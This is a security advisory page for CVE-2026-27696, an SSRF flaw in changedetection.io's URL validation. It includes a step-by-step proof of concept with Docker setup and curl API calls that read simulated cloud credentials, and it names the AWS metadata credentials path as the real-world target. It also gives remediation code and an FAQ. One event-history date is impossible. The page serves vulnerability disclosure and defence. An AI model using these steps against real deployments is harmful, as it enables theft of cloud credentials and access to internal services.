CVE-2026-27696: changedetection.io Vulnerable to Server-Side Request Forgery (SSRF) via Watch URLs

Published Feb 25, 2026
·
Updated

Summary

Changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function issafevalidurl() does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:

- http://169.254.169.254 - http://10.0.0.1/ - http://127.0.0.1/

The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services.

This is particularly severe because:

- The fetched content is stored and viewable - this is not a blind SSRF - Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources - By default, no password is set - the web UI is accessible without authentication - Self-hosted deployments typically run on cloud infrastructure where 169.254.169.254 returns real IAM credentials

---

Details

The URL validation function issafevalidurl() in changedetectionio/validateurl.py (lines 60–122) validates the URL protocol (http/https/ftp) and format using the validators library, but does not perform any DNS resolution or IP address validation:

python changedetectionio/validateurl.py:60-122 @lrucache(maxsize=1000) def issafevalidurl(testurl):

safeprotocolregex = '^(http|https|ftp):'

# Check protocol pattern = re.compile(os.getenv('SAFEPROTOCOLREGEX', safeprotocolregex), re.IGNORECASE) if not pattern.match(testurl.strip()): return False

# Check URL format if not validators.url(testurl, simplehost=True): return False

return True # No IP address validation performed

The HTTP fetcher in changedetectionio/contentfetchers/requests.py (lines 83–89) then makes the request without any additional IP validation:

python changedetectionio/contentfetchers/requests.py:83-89 r = session.request(method=requestmethod, url=url, # User-provided URL, no IP validation headers=requestheaders, timeout=timeout, proxies=proxies, verify=False) The response content is stored and made available to the user:

python changedetectionio/contentfetchers/requests.py:140-142 self.content = r.text # Text content stored self.rawcontent = r.content # Raw bytes stored This validation gap exists in all entry points that accept watch URLs:

- Web UI: changedetectionio/store/init.py:718 - REST API: changedetectionio/api/watch.py:163, 428 - Import API: changedetectionio/api/import.py:188

All use the same issafevalidurl() function, so a single fix addresses all paths.

---

PoC

Prerequisites

- A changedetection.io instance (Docker deployment) - Network access to the instance (default port 5000)

Step 1: Deploy changedetection.io with an internal service

Create internal-service.py: python #!/usr/bin/env python3 from http.server import HTTPServer, BaseHTTPRequestHandler import json class H(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader('Content-Type', 'application/json') self.endheaders() self.wfile.write(json.dumps({ 'Code': 'Success', 'AccessKeyId': 'AKIAIOSFODNN7EXAMPLE', 'SecretAccessKey': 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY', 'Token': 'FwoGZXIvYXdzEBYaDExampleSessionToken' }).encode()) HTTPServer(('0.0.0.0', 80), H).serveforever()

Create Dockerfile.internal: FROM python:3.11-slim COPY internal-service.py /server.py CMD ["python3", "/server.py"]

Create docker-compose.yml: yaml version: "3.8" services: changedetection: image: ghcr.io/dgtlmoon/changedetection.io ports: - "5000:5000" volumes: - ./datastore:/datastore

internal-service: build: context: . dockerfile: Dockerfile.internal

Start the stack:

bash docker compose up -d

Step 2: Add a watch for the internal service

Open http://localhost:5000/ in a browser (no password required by default).

In the URL field, enter: http://internal-service/ Click Watch and wait for the first check to complete.

Step 3: View the exfiltrated data

Click on the watch entry, then click Preview. The page displays the internal service’s response containing the simulated credentials: json { "Code": "Success", "AccessKeyId": "AKIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", ... } <img width="2291" height="780" alt="Screenshot 2026-02-16 084212" src="https://github.com/user-attachments/assets/115b69fb-ea10-4c47-a38c-409ede0e03cd" />

Step 4: Verify via API (alternative) bash Get the API key (visible in Settings page of the unauthenticated web UI) APIKEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \ python3 -c "import sys,json; print(json.load(sys.stdin)['settings']['application']['apiaccesstoken'])")

Create a watch via API WATCHRESPONSE=$(curl -s -X POST "http://localhost:5000/api/v1/watch" \ -H "x-api-key: $APIKEY" \ -H "Content-Type: application/json" \ -d '{"url": "http://internal-service/"}')

WATCHUUID=$(echo "$WATCHRESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['uuid'])") echo "Watch created: $WATCHUUID"

Wait for the first fetch to complete echo "Waiting 30s for first fetch..." sleep 30

Retrieve the exfiltrated data via API LATESTTS=$(curl -s "http://localhost:5000/api/v1/watch/$WATCHUUID/history" \ -H "x-api-key: $APIKEY" | \ python3 -c "import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print('')")

echo "=== EXFILTRATED DATA ===" curl -s "http://localhost:5000/api/v1/watch/$WATCHUUID/history/$LATESTTS" \ -H "x-api-key: $APIKEY" Expected output — the internal service’s response containing simulated credentials: json { "Code": "Success", "AccessKeyId": "AKIAIOSFODNN7EXAMPLE", "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", ... }

In a real cloud deployment, replacing http://internal-service/ with:

bash http://169.254.169.254/latest/meta-data/iam/security-credentials/ would return real AWS IAM credentials.

<img width="1140" height="607" alt="Screenshot 2026-02-16 084407" src="https://github.com/user-attachments/assets/cb1f5c02-6604-49e6-9e26-13406b190b45" />

---

Impact

Who is impacted: All self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at 169.254.169.254 is accessible.

What an attacker can do:

- Steal cloud credentials: Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens - Scan internal networks: Discover internal services by adding watches for internal IP ranges and observing responses - Access internal services: Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet - Persistent access: Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources - No authentication required by default: The web UI has no password set by default, allowing any user with network access to exploit this vulnerability

---

Suggested Remediation

Add IP address validation to issafevalidurl() in changedetectionio/validateurl.py:

python import ipaddress import socket

BLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), # Loopback ipaddress.ipnetwork('10.0.0.0/8'), # Private (RFC 1918) ipaddress.ipnetwork('172.16.0.0/12'), # Private (RFC 1918) ipaddress.ipnetwork('192.168.0.0/16'), # Private (RFC 1918) ipaddress.ipnetwork('169.254.0.0/16'), # Link-local / Cloud metadata ipaddress.ipnetwork('::1/128'), # IPv6 loopback ipaddress.ipnetwork('fc00::/7'), # IPv6 unique local ipaddress.ipnetwork('fe80::/10'), # IPv6 link-local ]

def isprivateip(hostname): """Check if a hostname resolves to a private/reserved IP address.""" try: for info in socket.getaddrinfo(hostname, None): ip = ipaddress.ipaddress(info[4][0]) for network in BLOCKEDNETWORKS: if ip in network: return True except socket.gaierror: return True # Block unresolvable hostnames return False

Then add to issafevalidurl() before the final return True:

python Check for private/reserved IP addresses parsed = urlparse(testurl) if parsed.hostname and isprivateip(parsed.hostname): logger.warning(f"URL '{testurl}' resolves to a private/reserved IP address") return False

An environment variable (e.g., ALLOWPRIVATEIPS=true) could be provided for users who intentionally need to monitor internal services.

Other sources

changedetection.io is a free open source web page change detection tool. In versions prior to 0.54.1, changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function issafevalidurl() does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs. The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI — enabling full data exfiltration from internal services. Version 0.54.1 contains a fix for the issue.

MITRE

Affected Software

3 affected componentsFixes available
github/changedetection.io<0.54.1
pip/changedetection.io<0.54.1
0.54.1
Webtechnologies Changedetection<0.54.1

Event History

Feb 25, 2026
CVE Published
via MITRE·04:16 AM
Data Sourced
via MITRE·04:16 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:17 AM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·07:08 PM
Data Sourced
via GitHub·07:08 PM
DescriptionSeverityWeaknessAffected Software
Oct 1, 58139
Event
via FIRST·11:39 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-27696?

CVE-2026-27696 is classified as a critical severity vulnerability due to its potential for Server-Side Request Forgery (SSRF) exploitation.

2

How do I fix CVE-2026-27696?

To fix CVE-2026-27696, upgrade changedetection.io to version 0.54.1 or later, which contains the necessary security patches.

3

What are the risks associated with CVE-2026-27696?

The risks associated with CVE-2026-27696 include unauthorized access to internal resources and potential data exposure due to SSRF.

4

Which versions of changedetection.io are affected by CVE-2026-27696?

Versions of changedetection.io prior to 0.54.1 are affected by CVE-2026-27696.

5

What is Server-Side Request Forgery (SSRF) in the context of CVE-2026-27696?

In the context of CVE-2026-27696, Server-Side Request Forgery (SSRF) allows an attacker to send crafted requests from the server, potentially compromising internal services.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203